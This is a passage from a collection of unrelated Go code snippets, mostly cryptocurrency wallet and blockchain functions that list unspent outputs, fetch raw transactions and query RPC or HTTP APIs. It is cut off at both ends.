&transactionOut)\n\treturn\n}", "func (w *rpcWallet) StakeInfo(ctx context.Context) (*wallet.StakeInfoData, error) {\n\tres, err := w.rpcClient.GetStakeInfo(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsdiff, err := dcrutil.NewAmount(res.Difficulty)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttotalSubsidy, err := dcrutil.NewAmount(res.TotalSubsidy)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &wallet.StakeInfoData{\n\t\tBlockHeight: res.BlockHeight,\n\t\tTotalSubsidy: totalSubsidy,\n\t\tSdiff: sdiff,\n\t\tOwnMempoolTix: res.OwnMempoolTix,\n\t\tUnspent: res.Unspent,\n\t\tVoted: res.Voted,\n\t\tRevoked: res.Revoked,\n\t\tUnspentExpired: res.UnspentExpired,\n\t\tPoolSize: res.PoolSize,\n\t\tAllMempoolTix: res.AllMempoolTix,\n\t\tImmature: res.Immature,\n\t\tLive: res.Live,\n\t\tMissed: res.Missed,\n\t\tExpired: res.Expired,\n\t}, nil\n}", "func (b *BlockChain) GetUnspentTxns(address string) []Transaction {\n\tvar unspentTxns []Transaction\n\tvar spentTxnMap = make(map[string][]int) // map txnID -> output index\n\n\t// go over blocks one by one\n\titer := b.GetIterator()\n\tfor {\n\t\tblck := iter.Next()\n\n\t\t// go over all Transactions in this block\n\t\tfor _, txn := range blck.Transactions {\n\t\t\t// get string identifying this transaction\n\t\t\ttxID := hex.EncodeToString(txn.ID)\n\n\t\tOutputLoop:\n\t\t\t// go over all outputs in this Txn\n\t\t\tfor outIndex, output := range txn.Out {\n\n\t\t\t\t// check if this output is spent.\n\t\t\t\tif spentTxnMap[txID] != nil {\n\t\t\t\t\tfor _, indx := range spentTxnMap[txID] {\n\t\t\t\t\t\tif indx == outIndex {\n\t\t\t\t\t\t\tcontinue OutputLoop\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// check if this output belongs to this address\n\t\t\t\tif output.CheckOutputUnlock(address) {\n\t\t\t\t\tunspentTxns = append(unspentTxns, *txn)\n\t\t\t\t}\n\n\t\t\t\t// if this is not genesis block, go over all inputs\n\t\t\t\t// that refers to output that belongs to this address\n\t\t\t\t// and mark them as unspent\n\t\t\t\tif txn.IsCoinbase() == false {\n\t\t\t\t\tfor _, inp := range txn.In {\n\t\t\t\t\t\tif inp.CheckInputUnlock(address) {\n\t\t\t\t\t\t\tspentTxnMap[txID] = append(spentTxnMap[txID], inp.Out)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(blck.PrevBlockHash) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn unspentTxns\n}", "func ViewTransaction(rw http.ResponseWriter, r *http.Request) {\n\t// get the token\n\treqToken := r.Header.Get(\"Authorization\")\n\n\t// get the claims\n\tclaims, isNotValid := GetClaims(reqToken, rw)\n\tif isNotValid {\n\t\treturn\n\t}\n\n\tdt, err := db.GetUserTransaction(claims.Roll)\n\tif err != nil {\n\t\trw.WriteHeader(http.StatusInternalServerError)\n\t\trw.Write(Rsp(err.Error(), \"Server Error\"))\n\t\treturn\n\t}\n\trw.WriteHeader(http.StatusOK)\n\tres := c.RespData{\n\t\tMessage: \"All data\",\n\t\tData: dt,\n\t}\n\tjson.NewEncoder(rw).Encode(res)\n}", "func (bdm *MySQLDBManager) GetUnspentOutputsObject() (UnspentOutputsInterface, error) {\n\tconn, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuts := UnspentOutputs{}\n\tuts.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\n\n\treturn &uts, nil\n}", "func (am *AccountManager) ListUnspent(minconf, maxconf int,\n\taddresses map[string]bool) ([]*btcjson.ListUnspentResult, error) {\n\n\tbs, err := GetCurBlock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfilter := len(addresses) != 0\n\n\tvar results []*btcjson.ListUnspentResult\n\tfor _, a := range am.AllAccounts() {\n\t\tunspent, err := a.TxStore.UnspentOutputs()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, credit := range unspent {\n\t\t\tconfs := credit.Confirmations(bs.Height)\n\t\t\tif int(confs) < minconf || int(confs) > maxconf {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t_, addrs, _, _ := credit.Addresses(cfg.Net())\n\t\t\tif filter {\n\t\t\t\tfor _, addr := range addrs {\n\t\t\t\t\t_, ok := addresses[addr.EncodeAddress()]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tgoto include\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\tinclude:\n\t\t\tresult := &btcjson.ListUnspentResult{\n\t\t\t\tTxId: credit.Tx().Sha().String(),\n\t\t\t\tVout: credit.OutputIndex,\n\t\t\t\tAccount: a.Name(),\n\t\t\t\tScriptPubKey: hex.EncodeToString(credit.TxOut().PkScript),\n\t\t\t\tAmount: credit.Amount().ToUnit(btcutil.AmountBTC),\n\t\t\t\tConfirmations: int64(confs),\n\t\t\t}\n\n\t\t\t// BUG: this should be a JSON array so that all\n\t\t\t// addresses can be included, or removed (and the\n\t\t\t// caller extracts addresses from the pkScript).\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tresult.Address = addrs[0].EncodeAddress()\n\t\t\t}\n\n\t\t\tresults = append(results, result)\n\t\t}\n\t}\n\n\treturn results, nil\n}", "func GetRawInfo() string {\n\tvar info string\n\tinfo += fmt.Sprintf(\"Release Version: %s\\n\", ReleaseVersion)\n\tinfo += fmt.Sprintf(\"Git Commit Hash: %s\\n\", GitHash)\n\tinfo += fmt.Sprintf(\"Git Branch: %s\\n\", GitBranch)\n\tinfo += fmt.Sprintf(\"UTC Build Time: %s\\n\", BuildTS)\n\tinfo += fmt.Sprintf(\"Go Version: %s\\n\", GoVersion)\n\treturn info\n}", "func (v *Vault) GetTransitInfo() {\n\td, err := v.Client.Logical().Read(\"transit/keys/\" + s.Vault.TransitKey)\n\tif err != nil {\n\t\tlog.Fatalf(\"Vault error: %v\", err)\n\t}\n\n\tif d == nil {\n\t\tlog.Fatalf(\"The configured transit key doesn't seem to exists : %v\", s.Vault.TransitKey)\n\t}\n\n\ttable := tablewriter.NewWriter(os.Stdout)\n\ttable.SetHeader([]string{\"Key\", \"Value\"})\n\tfor k, l := range d.Data {\n\t\ttable.Append([]string{k, fmt.Sprintf(\"%v\", l)})\n\t}\n\ttable.Render()\n}", "func NewTransactionOutputRaw(tx *transaction.Transaction, header *block.Header, appExecResult *state.AppExecResult, chain blockchainer.Blockchainer) TransactionOutputRaw {\n\tresult := TransactionOutputRaw{\n\t\tTransaction: *tx,\n\t}\n\tif header == nil {\n\t\treturn result\n\t}\n\t// confirmations formula\n\tconfirmations := int(chain.BlockHeight() - header.Index + 1)\n\tresult.TransactionMetadata = TransactionMetadata{\n\t\tBlockhash: header.Hash(),\n\t\tConfirmations: confirmations,\n\t\tTimestamp: header.Timestamp,\n\t\tVMState: appExecResult.VMState.String(),\n\t}\n\treturn result\n}", "func (btc *ExchangeWallet) getVerboseBlockTxs(blockID string) (*verboseBlockTxs, error) {\n\tblk := new(verboseBlockTxs)\n\t// verbosity = 2 -> verbose transactions\n\terr := btc.wallet.call(methodGetBlockVerboseTx, anylist{blockID, 2}, blk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn blk, nil\n}", "func ShowTxStatusTracker(stdout io.Writer, hash string, rpcClient types2.Client) error {\n\ts := spinner.New(spinner.CharSets[14], 100*time.Millisecond)\n\ts.Writer = stdout\n\ts.Prefix = \" \"\n\ts.Start()\n\tlastStatus := \"\"\n\n\tvar err error\n\tvar resp *api2.ResultTx\n\tattempts := 0\n\tfor {\n\t\tattempts += 1\n\t\tif attempts == 3 {\n\t\t\treturn err\n\t\t}\n\n\t\ttime.Sleep(1 * time.Second)\n\t\tresp, err = api.GetTransaction(hash, rpcClient)\n\t\tif err != nil {\n\t\t\ts.Stop()\n\t\t\tcontinue\n\t\t}\n\n\t\tif lastStatus == resp.Status {\n\t\t\tcontinue\n\t\t}\n\n\t\tlastStatus = resp.Status\n\t\tif resp.Status == types3.TxStatusInMempool {\n\t\t\ts.Suffix = colorfmt.YellowStringf(\" In mempool\")\n\t\t} else if resp.Status == types3.TxStatusInPushpool {\n\t\t\ts.Suffix = colorfmt.YellowStringf(\" In pushpool\")\n\t\t} else {\n\t\t\ts.FinalMSG = colorfmt.GreenString(\" Confirmed!\\n\")\n\t\t\ts.Stop()\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "func (av AttributeTransactionResult) String() string {\n\tswitch av {\n\tcase AttributeTransactionResultError:\n\t\treturn \"error\"\n\tcase AttributeTransactionResultFilteredOut:\n\t\treturn \"filtered_out\"\n\tcase AttributeTransactionResultNotFound:\n\t\treturn \"not_found\"\n\tcase AttributeTransactionResultSuccess:\n\t\treturn \"success\"\n\tcase AttributeTransactionResultTimeout:\n\t\treturn \"timeout\"\n\t}\n\treturn \"\"\n}", "func (c *Client) AddressUnspentTransactions(ctx context.Context, address string) (history AddressHistory, err error) {\n\n\tvar resp string\n\t// https://api.whatsonchain.com/v1/bsv/<network>/address/<address>/unspent\n\tif resp, err = c.request(\n\t\tctx,\n\t\tfmt.Sprintf(\"%s%s/address/%s/unspent\", apiEndpoint, c.Network(), address),\n\t\thttp.MethodGet, nil,\n\t); err != nil {\n\t\treturn\n\t}\n\tif len(resp) == 0 {\n\t\treturn nil, ErrAddressNotFound\n\t}\n\terr = json.Unmarshal([]byte(resp), &history)\n\treturn\n}", "func (a *Transactions) Info(ctx context.Context, id crypto.Digest) (TransactionInfo, *Response, error) {\n\turl, err := joinUrl(a.options.BaseUrl, fmt.Sprintf(\"/transactions/info/%s\", id.String()))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tbuf := new(bytes.Buffer)\n\tresponse, err := doHttp(ctx, a.options, req, buf)\n\tif err != nil {\n\t\treturn nil, response, err\n\t}\n\n\tvar tt proto.TransactionTypeVersion\n\tif err = json.Unmarshal(buf.Bytes(), &tt); err != nil {\n\t\treturn nil, response, errors.Wrap(err, \"TransactionTypeVersion unmarshal\")\n\t}\n\n\tout, err := guessTransactionInfoType(&tt)\n\tif err != nil {\n\t\treturn nil, response, errors.Wrap(err, \"Guess transaction info type failed\")\n\t}\n\n\terr = json.Unmarshal(buf.Bytes(), &out)\n\tif err != nil {\n\t\treturn nil, response, &ParseError{Err: err}\n\t}\n\n\treturn out, response, nil\n}", "func GetUnspentOutputCoins(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.OutputCoin, error) {\n\tprivateKey := &keyWallet.KeySet.PrivateKey\n\tpaymentAddressStr := keyWallet.Base58CheckSerialize(wallet.PaymentAddressType)\n\tviewingKeyStr := keyWallet.Base58CheckSerialize(wallet.ReadonlyKeyType)\n\n\toutputCoins, err := GetListOutputCoins(rpcClient, paymentAddressStr, viewingKeyStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserialNumbers, err := DeriveSerialNumbers(privateKey, outputCoins)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tisExisted, err := CheckExistenceSerialNumber(rpcClient, paymentAddressStr, serialNumbers)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tutxos := make([]*crypto.OutputCoin, 0)\n\tfor i, out := range outputCoins {\n\t\tif !isExisted[i] {\n\t\t\tutxos = append(utxos, out)\n\t\t}\n\t}\n\n\treturn utxos, nil\n}", "func (r *BTCRPC) GetTransactionDetail(txhash string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = r.Client.Call(\"getrawtransaction\", jsonrpc.Params{txhash, 1}, &tx)\n\treturn tx, err\n}", "func (v *VCS) runOutputVerboseOnly(dir string, cmdline string, kv ...string) ([]byte, error) {\n\treturn v.run1(dir, cmdline, kv, false)\n}", "func testAddTxVerbose(msgTx *wire.MsgTx, txHash, blockHash *chainhash.Hash, confirmations int64) *btcjson.TxRawResult {\n\ttx := testRawTransactionVerbose(msgTx, txHash, blockHash, confirmations)\n\ttestChain.txRaws[*txHash] = tx\n\treturn tx\n}", "func (s *Store) UniqueTxDetails(ns walletdb.ReadBucket, txHash *chainhash.Hash,\n\tblock *Block) (*TxDetails, error) {\n\n\tif block == nil {\n\t\tv := existsRawUnmined(ns, txHash[:])\n\t\tif v == nil {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn s.unminedTxDetails(ns, txHash, v)\n\t}\n\n\tk, v := existsTxRecord(ns, txHash, block)\n\tif v == nil {\n\t\treturn nil, nil\n\t}\n\treturn s.minedTxDetails(ns, txHash, k, v)\n}", "func (dcr *DCRBackend) transaction(txHash *chainhash.Hash, verboseTx *chainjson.TxRawResult) (*Tx, error) {\n\t// Figure out if it's a stake transaction\n\tmsgTx, err := msgTxFromHex(verboseTx.Hex)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode MsgTx from hex for transaction %s: %v\", txHash, err)\n\t}\n\tisStake := stake.DetermineTxType(msgTx) != stake.TxTypeRegular\n\n\t// If it's not a mempool transaction, get and cache the block data.\n\tvar blockHash *chainhash.Hash\n\tvar lastLookup *chainhash.Hash\n\tif verboseTx.BlockHash == \"\" {\n\t\ttipHash := dcr.blockCache.tipHash()\n\t\tif tipHash != zeroHash {\n\t\t\tlastLookup = &tipHash\n\t\t}\n\t} else {\n\t\tblockHash, err = chainhash.NewHashFromStr(verboseTx.BlockHash)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding block hash %s for tx %s: %v\", verboseTx.BlockHash, txHash, err)\n\t\t}\n\t\t// Make sure the block info is cached.\n\t\t_, err := dcr.getDcrBlock(blockHash)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error caching the block data for transaction %s\", txHash)\n\t\t}\n\t}\n\n\tvar sumIn, sumOut uint64\n\t// Parse inputs and outputs, grabbing only what's needed.\n\tinputs := make([]txIn, 0, len(verboseTx.Vin))\n\tvar isCoinbase bool\n\tfor _, input := range verboseTx.Vin {\n\t\tisCoinbase = input.Coinbase != \"\"\n\t\tsumIn += toAtoms(input.AmountIn)\n\t\thash, err := chainhash.NewHashFromStr(input.Txid)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding previous tx hash %sfor tx %s: %v\", input.Txid, txHash, err)\n\t\t}\n\t\tinputs = append(inputs, txIn{prevTx: *hash, vout: input.Vout})\n\t}\n\n\toutputs := make([]txOut, 0, len(verboseTx.Vout))\n\tfor vout, output := range verboseTx.Vout {\n\t\tpkScript, err := hex.DecodeString(output.ScriptPubKey.Hex)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding pubkey script from %s for transaction %d:%d: %v\",\n\t\t\t\toutput.ScriptPubKey.Hex, txHash, vout, err)\n\t\t}\n\t\tsumOut += toAtoms(output.Value)\n\t\toutputs = append(outputs, txOut{\n\t\t\tvalue: toAtoms(output.Value),\n\t\t\tpkScript: pkScript,\n\t\t})\n\t}\n\tfeeRate := (sumIn - sumOut) / uint64(len(verboseTx.Hex)/2)\n\tif isCoinbase {\n\t\tfeeRate = 0\n\t}\n\treturn newTransaction(dcr, txHash, blockHash, lastLookup, verboseTx.BlockHeight, isStake, inputs, outputs, feeRate), nil\n}", "func GetTxInfo(txHash string) (string, bool) {\n\n\tbReady := false\n\ttxInfo, err := RunChain33Cli(strings.Fields(fmt.Sprintf(\"tx query -s %s\", txHash)))\n\n\tif err == nil && txInfo != \"tx not exist\\n\" {\n\n\t\tbReady = true\n\t} else if err != nil {\n\n\t\ttxInfo = err.Error()\n\t}\n\n\treturn txInfo, bReady\n}", "func (b *Bitcoind) GetRawTransaction(txId string, verbose bool) (rawTx interface{}, err error) {\n\tr, err := b.client.call(\"getrawtransaction\", []interface{}{txId, verbose})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\tif !verbose {\n\t\terr = json.Unmarshal(r.Result, &rawTx)\n\t} else {\n\t\tvar t RawTransaction\n\t\terr = json.Unmarshal(r.Result, &t)\n\t\trawTx = t\n\t}\n\n\treturn\n}", "func (ctx Ctx) Info() string {\n\treturn fmt.Sprintf(\"%+v\", ctx)\n}", "func (tb *transactionBuilder) View() (types.Transaction, []types.Transaction) {\n\treturn tb.transaction, tb.parents\n}", "func (tb *transactionBuilder) View() (types.Transaction, []types.Transaction) {\n\treturn tb.transaction, tb.parents\n}", "func (t *Transaction) String() string {\n\tswitch t.Type {\n\tcase TIN, TEP:\n\t\treturn fmt.Sprintf(\"%22s {%d} %s %.3f %s [%s]\", t.Datetime, t.Index, t.Category.FullName, t.Amount, t.AmountCurrency, t.Type.Name)\n\tcase TOB:\n\t\treturn fmt.Sprintf(\"%22s {%d} Opening new Account\", t.Datetime, t.Index)\n\tcase TBJ:\n\t\treturn fmt.Sprintf(\"%22s {%d} Update balance by %.3f %s\", t.Datetime, t.Index, t.Amount, t.AmountCurrency)\n\tcase TMT:\n\t\treturn fmt.Sprintf(\"%22s {%d} Move %.3f %s to '%s' (%.3f %s)\", t.Datetime, t.Index, t.Amount, t.AmountCurrency, t.AccountTo, t.AmountTo, t.AmountToCurrency)\n\tdefault:\n\t\treturn fmt.Sprintf(\"%22s {%d} [%s] TODO: DIDN'T IMPLEMENT THIS TYPE YET\", t.Datetime, t.Index, t.Type.Name)\n\t}\n}", "func (s *Client) ListUnspent(ctx context.Context, scripthash string) ([]*ListUnspentResult, error) {\n\tvar resp ListUnspentResp\n\n\terr := s.request(ctx, \"blockchain.scripthash.listunspent\", []interface{}{scripthash}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp.Result, err\n}", "func (a *Transactions) UnconfirmedInfo(ctx context.Context, id crypto.Digest) (proto.Transaction, *Response, error) {\n\turl, err := joinUrl(a.options.BaseUrl, fmt.Sprintf(\"/transactions/unconfirmed/info/%s\", id.String()))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tbuf := new(bytes.Buffer)\n\tbuf.WriteRune('[')\n\tresponse, err := doHttp(ctx, a.options, req, buf)\n\tif err != nil {\n\t\treturn nil, response, err\n\t}\n\tbuf.WriteRune(']')\n\tout := TransactionsField{}\n\terr = json.Unmarshal(buf.Bytes(), &out)\n\tif err != nil {\n\t\treturn nil, response, &ParseError{Err: err}\n\t}\n\n\tif len(out) == 0 {\n\t\treturn nil, response, errors.New(\"invalid transaction\")\n\t}\n\n\treturn out[0], response, nil\n}", "func (f *wsClientFilter) addUnspentOutPoint(op *wire.OutPoint) {\n\tf.unspent[*op] = struct{}{}\n}", "func (client *Client) GetTxOut(txid string, vout int) (Response, error) {\n\n\tmsg := client.Command(\n\t\t\"gettxout\",\n\t\t[]interface{}{\n\t\t\ttxid,\n\t\t\tvout,\n\t\t},\n\t)\n\n\treturn client.Post(msg)\n}", "func (c createTransactionPresenter) Output(transaction domain.Transaction) usecase.CreateTransactionOutput {\n\treturn usecase.CreateTransactionOutput{\n\t\tID: transaction.ID(),\n\t\tAccountID: transaction.AccountID(),\n\t\tOperation: usecase.CreateTransactionOperationOutput{\n\t\t\tID: transaction.Operation().ID(),\n\t\t\tDescription: transaction.Operation().Description(),\n\t\t\tType: transaction.Operation().Type(),\n\t\t},\n\t\tAmount: transaction.Amount(),\n\t\tBalance: transaction.Balance(),\n\t\tCreatedAt: transaction.CreatedAt().Format(time.RFC3339),\n\t}\n}", "func (w *Wallet) ListUnspent(minconf, maxconf int32,\n\taddresses map[string]struct{}) ([]*btcjson.ListUnspentResult, er.R) {\n\n\tvar results []*btcjson.ListUnspentResult\n\terr := walletdb.View(w.db, func(tx walletdb.ReadTx) er.R {\n\t\taddrmgrNs := tx.ReadBucket(waddrmgrNamespaceKey)\n\t\ttxmgrNs := tx.ReadBucket(wtxmgrNamespaceKey)\n\n\t\tsyncBlock := w.Manager.SyncedTo()\n\n\t\tfilter := len(addresses) != 0\n\t\tunspent, err := w.TxStore.GetUnspentOutputs(txmgrNs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsort.Sort(sort.Reverse(creditSlice(unspent)))\n\n\t\tdefaultAccountName := \"default\"\n\n\t\tresults = make([]*btcjson.ListUnspentResult, 0, len(unspent))\n\t\tfor i := range unspent {\n\t\t\toutput := unspent[i]\n\n\t\t\t// Outputs with fewer confirmations than the minimum or more\n\t\t\t// confs than the maximum are excluded.\n\t\t\tconfs := confirms(output.Height, syncBlock.Height)\n\t\t\tif confs < minconf || confs > maxconf {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Only mature coinbase outputs are included.\n\t\t\tif output.FromCoinBase {\n\t\t\t\ttarget := int32(w.ChainParams().CoinbaseMaturity)\n\t\t\t\tif !confirmed(target, output.Height, syncBlock.Height) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Exclude locked outputs from the result set.\n\t\t\tif w.LockedOutpoint(output.OutPoint) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Lookup the associated account for the output. Use the\n\t\t\t// default account name in case there is no associated account\n\t\t\t// for some reason, although this should never happen.\n\t\t\t//\n\t\t\t// This will be unnecessary once transactions and outputs are\n\t\t\t// grouped under the associated account in the db.\n\t\t\tacctName := defaultAccountName\n\t\t\tsc, addrs, _, err := txscript.ExtractPkScriptAddrs(\n\t\t\t\toutput.PkScript, w.chainParams)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tsmgr, acct, err := w.Manager.AddrAccount(addrmgrNs, addrs[0])\n\t\t\t\tif err == nil {\n\t\t\t\t\ts, err := smgr.AccountName(addrmgrNs, acct)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tacctName = s\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif filter {\n\t\t\t\tfor _, addr := range addrs {\n\t\t\t\t\t_, ok := addresses[addr.EncodeAddress()]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tgoto include\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tinclude:\n\t\t\t// At the moment watch-only addresses are not supported, so all\n\t\t\t// recorded outputs that are not multisig are \"spendable\".\n\t\t\t// Multisig outputs are only \"spendable\" if all keys are\n\t\t\t// controlled by this wallet.\n\t\t\t//\n\t\t\t// TODO: Each case will need updates when watch-only addrs\n\t\t\t// is added. For P2PK, P2PKH, and P2SH, the address must be\n\t\t\t// looked up and not be watching-only. For multisig, all\n\t\t\t// pubkeys must belong to the manager with the associated\n\t\t\t// private key (currently it only checks whether the pubkey\n\t\t\t// exists, since the private key is required at the moment).\n\t\t\tvar spendable bool\n\t\tscSwitch:\n\t\t\tswitch sc {\n\t\t\tcase txscript.PubKeyHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.PubKeyTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.WitnessV0ScriptHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.WitnessV0PubKeyHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.MultiSigTy:\n\t\t\t\tfor _, a := range addrs {\n\t\t\t\t\t_, err := w.Manager.Address(addrmgrNs, a)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif waddrmgr.ErrAddressNotFound.Is(err) {\n\t\t\t\t\t\tbreak scSwitch\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tspendable = true\n\t\t\t}\n\n\t\t\tresult := &btcjson.ListUnspentResult{\n\t\t\t\tTxID: output.OutPoint.Hash.String(),\n\t\t\t\tVout: output.OutPoint.Index,\n\t\t\t\tAccount: acctName,\n\t\t\t\tScriptPubKey: hex.EncodeToString(output.PkScript),\n\t\t\t\tAmount: output.Amount.ToBTC(),\n\t\t\t\tConfirmations: int64(confs),\n\t\t\t\tSpendable: spendable,\n\t\t\t}\n\n\t\t\t// BUG: this should be a JSON array so that all\n\t\t\t// addresses can be included, or removed (and the\n\t\t\t// caller extracts addresses from the pkScript).\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tresult.Address = addrs[0].EncodeAddress()\n\t\t\t}\n\n\t\t\tresults = append(results, result)\n\t\t}\n\t\treturn nil\n\t})\n\treturn results, err\n}", "func (w *Wallet) GetUnspentBlockStakeOutputs() (unspent []types.UnspentBlockStakeOutput, err error) {\n\tw.mu.RLock()\n\tdefer w.mu.RUnlock()\n\n\tif !w.unlocked {\n\t\terr = modules.ErrLockedWallet\n\t\treturn\n\t}\n\n\tunspent = make([]types.UnspentBlockStakeOutput, 0)\n\n\t// prepare fulfillable context\n\tctx := w.getFulfillableContextForLatestBlock()\n\n\t// collect all fulfillable block stake outputs\n\tfor usbsoid, output := range w.blockstakeOutputs {\n\t\tif output.Condition.Fulfillable(ctx) {\n\t\t\tunspent = append(unspent, w.unspentblockstakeoutputs[usbsoid])\n\t\t}\n\t}\n\treturn\n}", "func (l *LedgerState) SnapshotUTXO() (snapshot *ledgerstate.Snapshot) {\n\t// The following parameter should be larger than the max allowed timestamp variation, and the required time for confirmation.\n\t// We can snapshot this far in the past, since global snapshots dont occur frequent and it is ok to ignore the last few minutes.\n\tminAge := 120 * time.Second\n\tsnapshot = &ledgerstate.Snapshot{\n\t\tTransactions: make(map[ledgerstate.TransactionID]ledgerstate.Record),\n\t}\n\n\tstartSnapshot := time.Now()\n\tcopyLedgerState := l.Transactions() // consider that this may take quite some time\n\n\tfor _, transaction := range copyLedgerState {\n\t\t// skip unconfirmed transactions\n\t\tinclusionState, err := l.TransactionInclusionState(transaction.ID())\n\t\tif err != nil || inclusionState != ledgerstate.Confirmed {\n\t\t\tcontinue\n\t\t}\n\t\t// skip transactions that are too recent before startSnapshot\n\t\tif startSnapshot.Sub(transaction.Essence().Timestamp()) < minAge {\n\t\t\tcontinue\n\t\t}\n\t\tunspentOutputs := make([]bool, len(transaction.Essence().Outputs()))\n\t\tincludeTransaction := false\n\t\tfor i, output := range transaction.Essence().Outputs() {\n\t\t\tl.CachedOutputMetadata(output.ID()).Consume(func(outputMetadata *ledgerstate.OutputMetadata) {\n\t\t\t\tif outputMetadata.ConfirmedConsumer() == ledgerstate.GenesisTransactionID { // no consumer yet\n\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\tincludeTransaction = true\n\t\t\t\t} else {\n\t\t\t\t\ttx := copyLedgerState[outputMetadata.ConfirmedConsumer()]\n\t\t\t\t\t// ignore consumers that are not confirmed long enough or even in the future.\n\t\t\t\t\tif startSnapshot.Sub(tx.Essence().Timestamp()) < minAge {\n\t\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\t\tincludeTransaction = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t\t// include only transactions with at least one unspent output\n\t\tif includeTransaction {\n\t\t\tsnapshot.Transactions[transaction.ID()] = ledgerstate.Record{\n\t\t\t\tEssence: transaction.Essence(),\n\t\t\t\tUnlockBlocks: transaction.UnlockBlocks(),\n\t\t\t\tUnspentOutputs: unspentOutputs,\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO ??? due to possible race conditions we could add a check for the consistency of the UTXO snapshot\n\n\treturn snapshot\n}", "func displayTransactions(scid string, option int, ID string) {\n\t\t\n\tscKeys:= []string{\"numberOfOwners\", \"txCount\"}\n\tresult:= getKeysFromDaemon(scid, scKeys)\n\tif result == \"\" {return}\n\n\n\t//Response ok, extract keys from JSON\n\t\n\n\ttxCount := gjson.Get(result, \"txs.#.sc_keys.txCount\")\n\ttxCountArray:= txCount.Array()[0]\n\ttxCountInt:= txCountArray.Int()\n\t//fmt.Printf(\"Tx Count: %d\\n\", txCountInt)\n\n\t//Make a slice of keys so we can request in RPC call\n\tx:= int(txCountInt) //txCount in wallet smart contract is always 1 ahead of actual number of transactions\t\n\tx4:= x * 4\t\n\tkeySlice:= make([]string, x4) \n\t\n\tfor i:=0; i<x; i++ {\n\t\tz:= strconv.Itoa(i)\n\t\tkeySlice[i] = \"txIndex_\" + z\n\t\tkeySlice[i+x] = \"recipient_\" + z\n\t\tkeySlice[i+(x*2)] = \"amount_\" + z\n\t\tkeySlice[i+(x*3)] = \"sent_\" + z\n\t}\n\t\t\n\t//fmt.Println(keySlice)\n\tdisplayData(scid, keySlice, x, option, ID)\n\n\n}", "func (wallet *Wallet) UnspentOutputs() map[address.Address]map[ledgerstate.OutputID]*Output {\n\treturn wallet.unspentOutputManager.UnspentOutputs()\n}", "func (s ListTransactionsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func transactionSummary(ctx *quorumContext, w http.ResponseWriter, r *http.Request) (int, error) {\n\tif ctx.conn == nil {\n\t\tfmt.Fprintf(w, \"Cannot get transaction before deploying contract\\n\")\n\t\treturn 400, nil\n\t}\n\n\t// parse hash from request URL\n\tkeys := r.URL.Query()[\"hash\"]\n\tif len(keys) < 1 {\n\t\tfmt.Fprintf(w, \"Invalid parameter, require 'hash'\")\n\t\treturn 400, nil\n\t}\n\tlog.Println(\"Hash supplied :\", keys[0])\n\thash := 